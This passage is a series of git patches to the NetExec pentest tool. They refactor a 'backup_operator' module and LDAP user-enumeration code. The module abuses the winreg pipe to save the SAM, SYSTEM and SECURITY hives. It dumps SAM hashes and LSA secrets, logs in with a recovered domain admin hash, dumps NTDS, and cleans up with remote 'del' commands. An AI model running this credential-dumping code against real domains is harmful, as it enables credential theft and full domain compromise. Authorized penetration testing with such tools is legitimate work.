C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") + try: + for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.conn.listPath("SYSVOL", log_path + hive) + except SessionError as e: + if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: + context.log.fail("Fail to remove the files...") + sys.exit() context.log.display("Successfully deleted dump files !") - context.log.display("Dumping NTDS...") connection.ntds() else: context.log.display("Use the domain admin account to clean the file on the remote host") context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") - def triggerWinReg(self, connection, context): - # original idea from https://twitter.com/splinter_code/status/1715876413474025704 + def trigger_winreg(self, connection, context): + # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 tid = connection.connectTree("IPC$") try: - connection.openFile(tid, r"\winreg", 0x12019f, creationOption=0x40, fileAttributes=0x80) + connection.openFile( + tid, + r"\winreg", + 0x12019F, + creationOption=0x40, + fileAttributes=0x80, + ) except SessionError as e: # STATUS_PIPE_NOT_AVAILABLE error is expected context.log.debug(str(e)) - # give remote registry time to start + # Give remote registry time to start time.sleep(1) - def __strip_root_key(self, dce, keyName): + def _strip_root_key(self, dce, key_name): # Let's strip the root key - keyName.split("\\")[0] - subKey = "\\".join(keyName.split("\\")[1:]) + key_name.split("\\")[0] + sub_key = "\\".join(key_name.split("\\")[1:]) ans = rrp.hOpenLocalMachine(dce) - hRootKey = ans["phKey"] - return hRootKey, subKey - + h_root_key = ans["phKey"] + return h_root_key, sub_key class RemoteOperations: - def __init__(self, smbConnection): - self.__smbConnection = smbConnection - self.__stringBindingWinReg = r"ncacn_np:445[\pipe\winreg]" - self.__rrp = None + def __init__(self, smb_connection): + self._smb_connection = smb_connection + self._string_binding_winreg = r"ncacn_np:445[\pipe\winreg]" + self._rrp = None - def getRRP(self): - return self.__rrp + def get_rrp(self): + return self._rrp - def connectWinReg(self): - rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) - rpc.set_smb_connection(self.__smbConnection) - self.__rrp = rpc.get_dce_rpc() - self.__rrp.connect() - self.__rrp.bind(rrp.MSRPC_UUID_RRP) + def connect_winreg(self): + rpc = transport.DCERPCTransportFactory(self._string_binding_winreg) + rpc.set_smb_connection(self._smb_connection) + self._rrp = rpc.get_dce_rpc() + self._rrp.connect() + self._rrp.bind(rrp.MSRPC_UUID_RRP) def finish(self): - if self.__rrp is not None: - self.__rrp.disconnect() \ No newline at end of file + if self._rrp is not None: + self._rrp.disconnect() \ No newline at end of file From 74d87871664823750a0d24603c5d5252a7526546 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:16:13 +0100 Subject: [PATCH 15/78] fix review --- nxc/modules/backup_operator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 0119c39c..6cb5b175 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -68,8 +68,8 @@ class NXCModule: self.domain_admin = fields[0] self.domain_admin_hash = fields[3] - localOperations = LocalOperations(log_path + "SYSTEM") - bootKey = localOperations.getBootKey() + local_operations = LocalOperations(log_path + "SYSTEM") + bootKey = local_operations.getBootKey() sam_hashes = SAMHashes(log_path + "SAM", bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) sam_hashes.dump() sam_hashes.finish() From 333a7f31de33f391efa55e613113ad0b0f9fd233 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:17:15 +0100 Subject: [PATCH 16/78] fix review --- nxc/modules/backup_operator.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 6cb5b175..3398c602 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -29,13 +29,13 @@ class NXCModule: def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry - remoteOps = RemoteOperations(connection.conn) + remote_ops = RemoteOperations(connection.conn) context.log.display("Triggering start through named pipe...") self.trigger_winreg(connection.conn, context) - remoteOps.connect_winreg() + remote_ops.connect_winreg() try: - dce = remoteOps.get_rrp() + dce = remote_ops.get_rrp() for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" @@ -50,8 +50,8 @@ class NXCModule: except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: - if remoteOps: - remoteOps.finish() + if remote_ops: + remote_ops.finish() # copy remote file to local log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) From d666ff3f4a86ae835c38ee3b4ffee0991fc41f1e Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:20:58 +0100 Subject: [PATCH 17/78] fix review --- nxc/modules/backup_operator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 3398c602..4eee5edd 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -74,7 +74,7 @@ class NXCModule: sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", bootKey, remote_ops, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: From d11532c95a3ac5ab51e9b2fa7dff605a5d89d387 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Fri, 10 Jan 2025 10:29:49 +0100 Subject: [PATCH 18/78] remove useless code --- nxc/modules/backup_operator.py | 33 +++++++-------------------------- 1 file changed, 7 insertions(+), 26 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 4eee5edd..3c819b2f 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -29,13 +29,15 @@ class NXCModule: def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry - remote_ops = RemoteOperations(connection.conn) context.log.display("Triggering start through named pipe...") self.trigger_winreg(connection.conn, context) - remote_ops.connect_winreg() + rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") + rpc.set_smb_connection(connection.conn) + dce = rpc.get_dce_rpc() + dce.connect() + dce.bind(rrp.MSRPC_UUID_RRP) try: - dce = remote_ops.get_rrp() for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" @@ -50,8 +52,7 @@ class NXCModule: except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: - if remote_ops: - remote_ops.finish() + dce.disconnect() # copy remote file to local log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) @@ -74,7 +75,7 @@ class NXCModule: sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", bootKey, remote_ops, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", bootKey, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: @@ -124,23 +125,3 @@ class NXCModule: ans = rrp.hOpenLocalMachine(dce) h_root_key = ans["phKey"] return h_root_key, sub_key - -class RemoteOperations: - def __init__(self, smb_connection): - self._smb_connection = smb_connection - self._string_binding_winreg = r"ncacn_np:445[\pipe\winreg]" - self._rrp = None - - def get_rrp(self): - return self._rrp - - def connect_winreg(self): - rpc = transport.DCERPCTransportFactory(self._string_binding_winreg) - rpc.set_smb_connection(self._smb_connection) - self._rrp = rpc.get_dce_rpc() - self._rrp.connect() - self._rrp.bind(rrp.MSRPC_UUID_RRP) - - def finish(self): - if self._rrp is not None: - self._rrp.disconnect() \ No newline at end of file From 5a63253d16569b011601d01f6fba2ad3a5806996 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 13 Jan 2025 20:50:11 +0100 Subject: [PATCH 19/78] update module --- nxc/modules/backup_operator.py | 36 ++++++++++++++++++++++------------ 1 file changed, 23 insertions(+), 13 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 3c819b2f..62c089ba 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -85,21 +85,31 @@ class NXCModule: context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") connection.conn.logoff() connection.create_conn_obj() - connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash) - connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") - try: + if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): + try: + context.log.display("Dumping NTDS...") + connection.ntds() + except Exception as e: + context.log.fail(f"Fail to dump the NTDS: {e!s}") + + connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") for hive in ["SAM", "SECURITY", "SYSTEM"]: - connection.conn.listPath("SYSVOL", log_path + hive) - except SessionError as e: - if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: - context.log.fail("Fail to remove the files...") - sys.exit() - context.log.display("Successfully deleted dump files !") - context.log.display("Dumping NTDS...") - connection.ntds() + try: + connection.conn.listPath("SYSVOL", log_path + hive) + except SessionError as e: + if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: + context.log.fail("Fail to remove the files...") + self.suprress_error(context) + sys.exit() + context.log.display("Successfully deleted dump files !") + else: + self.suprress_error(context) else: - context.log.display("Use the domain admin account to clean the file on the remote host") - context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") + self.suprress_error(context) + + def suprress_error(self, context): + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") def trigger_winreg(self, connection, context): # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 From f999da0a316c3af12f6918dc998348569c1a443c Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 13 Jan 2025 20:52:52 +0100 Subject: [PATCH 20/78] update module --- nxc/modules/backup_operator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 62c089ba..88550dc1 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -98,7 +98,7 @@ class NXCModule: connection.conn.listPath("SYSVOL", log_path + hive) except SessionError as e: if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: - context.log.fail("Fail to remove the files...") + context.log.fail(f"Fail to remove the file { hive }...") self.suprress_error(context) sys.exit() context.log.display("Successfully deleted dump files !") From 5e04926d7e5f3e37991588665eb8c8e7fbd19c6a Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 13 Jan 2025 21:51:22 +0100 Subject: [PATCH 21/78] update module --- nxc/modules/backup_operator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 88550dc1..0eb777f5 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -82,7 +82,6 @@ class NXCModule: context.log.fail(f"Fail to dump the sam and lsa: {e!s}") if self.domain_admin: - context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") connection.conn.logoff() connection.create_conn_obj() if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): @@ -92,6 +91,7 @@ class NXCModule: except Exception as e: context.log.fail(f"Fail to dump the NTDS: {e!s}") + context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") for hive in ["SAM", "SECURITY", "SYSTEM"]: try: From da3ad306e8bc140573192e9e13adcd2ca7f3eacf Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 18 Jan 2025 14:15:23 +0100 Subject: [PATCH 22/78] fix review --- nxc/modules/backup_operator.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 0eb777f5..9423c1ab 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -70,12 +70,12 @@ class NXCModule: self.domain_admin_hash = fields[3] local_operations = LocalOperations(log_path + "SYSTEM") - bootKey = local_operations.getBootKey() - sam_hashes = SAMHashes(log_path + "SAM", bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + boot_key = local_operations.getBootKey() + sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", bootKey, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: @@ -99,15 +99,15 @@ class NXCModule: except SessionError as e: if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: context.log.fail(f"Fail to remove the file { hive }...") - self.suprress_error(context) + self.suppress_error(context) sys.exit() context.log.display("Successfully deleted dump files !") else: - self.suprress_error(context) + self.suppress_error(context) else: - self.suprress_error(context) + self.suppress_error(context) - def suprress_error(self, context): + def suppress_error(self, context): context.log.display("Use the domain admin account to clean the file on the remote host") context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") From d8020bba2bb7dbc27c3e3cfeac9bc4ebf76d4268 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 08:20:32 -0500 Subject: [PATCH 23/78] Add Kerberos support and comments --- nxc/modules/backup_operator.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 9423c1ab..f0fd6cb7 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -6,6 +6,7 @@ import sys from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket import nt_errors from nxc.paths import NXC_PATH @@ -24,16 +25,20 @@ class NXCModule: self.domain_admin_hash = None def options(self, context, module_options): - """OPTIONS""" + """NO OPTIONS""" def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry - context.log.display("Triggering start through named pipe...") + context.log.display("Triggering RemoteRegistry to start through named pipe...") self.trigger_winreg(connection.conn, context) rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") rpc.set_smb_connection(connection.conn) + if connection.kerberos: + rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) dce = rpc.get_dce_rpc() + if connection.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() dce.bind(rrp.MSRPC_UUID_RRP) @@ -113,6 +118,7 @@ class NXCModule: def trigger_winreg(self, connection, context): # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 + # Basically triggers the RemoteRegistry to start without admin privs tid = connection.connectTree("IPC$") try: connection.openFile( From f6cd501eedcc13fc36ddfd38d0b1ff841cce35da Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 08:33:29 -0500 Subject: [PATCH 24/78] Fix imports and don't force quit --- nxc/modules/backup_operator.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index f0fd6cb7..3ddc66ba 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,12 +1,11 @@ import time import os import datetime -import sys from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket import nt_errors from nxc.paths import NXC_PATH @@ -53,7 +52,7 @@ class NXCModule: context.log.highlight(f"Saved {hive} to {outputFileName}") except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") - sys.exit() + return except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: @@ -105,7 +104,7 @@ class NXCModule: if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: context.log.fail(f"Fail to remove the file { hive }...") self.suppress_error(context) - sys.exit() + return context.log.display("Successfully deleted dump files !") else: self.suppress_error(context) From f3ebe6b781d49e723b4d15c7bfd1595cd60e63d8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 09:14:43 -0500 Subject: [PATCH 25/78] Fix detection if SAM/SYSTEM/SECURITY were deleted --- nxc/modules/backup_operator.py | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 3ddc66ba..4b858312 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -6,7 +6,6 @@ from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE -from impacket import nt_errors from nxc.paths import NXC_PATH @@ -22,6 +21,7 @@ class NXCModule: self.module_options = module_options self.domain_admin = None self.domain_admin_hash = None + self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted def options(self, context, module_options): """NO OPTIONS""" @@ -99,21 +99,22 @@ class NXCModule: connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") for hive in ["SAM", "SECURITY", "SYSTEM"]: try: - connection.conn.listPath("SYSVOL", log_path + hive) + out = connection.conn.listPath("SYSVOL", hive) + if out: + self.deleted_files = False + context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}") except SessionError as e: - if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: - context.log.fail(f"Fail to remove the file { hive }...") - self.suppress_error(context) - return - context.log.display("Successfully deleted dump files !") + context.log.debug(f"File {hive} successfully removed: {e}") else: - self.suppress_error(context) + self.deleted_files = False else: - self.suppress_error(context) + self.deleted_files = False - def suppress_error(self, context): - context.log.display("Use the domain admin account to clean the file on the remote host") - context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") + if not self.deleted_files: + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003 + else: + context.log.display("Successfully deleted dump files !") def trigger_winreg(self, connection, context): # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 From 310cc9b3338affc06dad7d3f02e959541a214759 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 16:10:56 -0500 Subject: [PATCH 26/78] Improve readability --- nxc/protocols/ldap.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4542cc56..4aa1bf28 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -659,7 +659,9 @@ class ldap(connection): self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in resp_parse: # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module - pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) + pwd_last_set = user.get("pwdLastSet", "") + if pwd_last_set: + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") # We default attributes to blank strings if they don't exist in the dict self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") From b5b9f07575193a2e4bd69e3ed5349e87b83a926e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 17:08:52 -0500 Subject: [PATCH 27/78] Simplify logic --- nxc/protocols/ldap.py | 31 ++++++------------------------- 1 file changed, 6 insertions(+), 25 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4aa1bf28..0378d08f 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -743,23 +743,11 @@ class ldap(connection): self.logger.fail("General Error:", exc_info=True) self.logger.fail(f"Skipping item(dNSHostName) {name}, error: {e}") - def active_users(self): - """Helper function to format userAccountControl""" - def check_user_account_control(user_account_control): - if user_account_control is not None: # Check if user_account_control is not None - account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list - account_disabled = int(account_control) & 2 - if not account_disabled: - self.count += 1 - activeusers.append(user.get("sAMAccountName").lower()) - return activeusers - + def active_users(self): if len(self.args.active_users) > 0: - arg = True self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" else: - arg = False self.logger.debug("Trying to dump all users") search_filter = "(sAMAccountType=805306368)" @@ -768,21 +756,14 @@ class ldap(connection): resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: - allusers = parse_result_attributes(resp) - activeusers = [] - self.count = 0 + all_users = parse_result_attributes(resp) + # Filter disabled users (ignore accounts without userAccountControl value) + active_users = [user for user in all_users if not (int(user.get("userAccountControl", 2)) & 2)] - for user in allusers: - user_account_control = user.get("userAccountControl") - if user_account_control: - # Only shows users with userAccountControl value! If a enable user has not userAccountControl value, it wont be listing. - activeusers = check_user_account_control(user_account_control) - self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None") - - self.logger.display(f"Total records returned: {self.count}, total {len(allusers) - self.count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(allusers)}") + self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") - for user in allusers: + for user in active_users: pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) self.logger.highlight(f"{user.get("sAMAccountName", ''):<30}{pwd_last_set:<20}{user.get("badPwdCount", ''):<9}{user.get("description", '')}") From 45e5e4c3e84f12eb3111d579e9b3894e1bd75b1d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 17:17:57 -0500 Subject: [PATCH 28/78] Improve readability --- nxc/protocols/ldap.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 0378d08f..e003696e 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -658,7 +658,6 @@ class ldap(connection): self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in resp_parse: - # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") @@ -764,7 +763,9 @@ class ldap(connection): self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in active_users: - pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) + pwd_last_set = user.get("pwdLastSet", "") + if pwd_last_set: + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") self.logger.highlight(f"{user.get("sAMAccountName", ''):<30}{pwd_last_set:<20}{user.get("badPwdCount", ''):<9}{user.get("description", '')}") def asreproast(self): From c7a08866f4324b9a4e3627ffccd6defec987b2df Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 17:18:38 -0500 Subject: [PATCH 29/78] Formating --- nxc/protocols/ldap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e003696e..cf2b1d47 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -645,7 +645,7 @@ class ldap(connection): search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" + search_filter = "(sAMAccountType=805306368)" # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] @@ -653,7 +653,7 @@ class ldap(connection): if resp: resp_parse = parse_result_attributes(resp) - + # We print the total records after we parse the results since often SearchResultReferences are returned self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") @@ -711,7 +711,7 @@ class ldap(connection): for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: if found_record: break # If a record has been found, stop checking further - + try: answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) for rdata in answers: From d5b5ec9d861ffece55862a7291aa9422e4e00b06 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 17:25:45 -0500 Subject: [PATCH 30/78] Replace user disabled value with constant --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index cf2b1d47..1e20edfd 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -757,7 +757,7 @@ class ldap(connection): if resp: all_users = parse_result_attributes(resp) # Filter disabled users (ignore accounts without userAccountControl value) - active_users = [user for user in all_users if not (int(user.get("userAccountControl", 2)) & 2)] + active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") 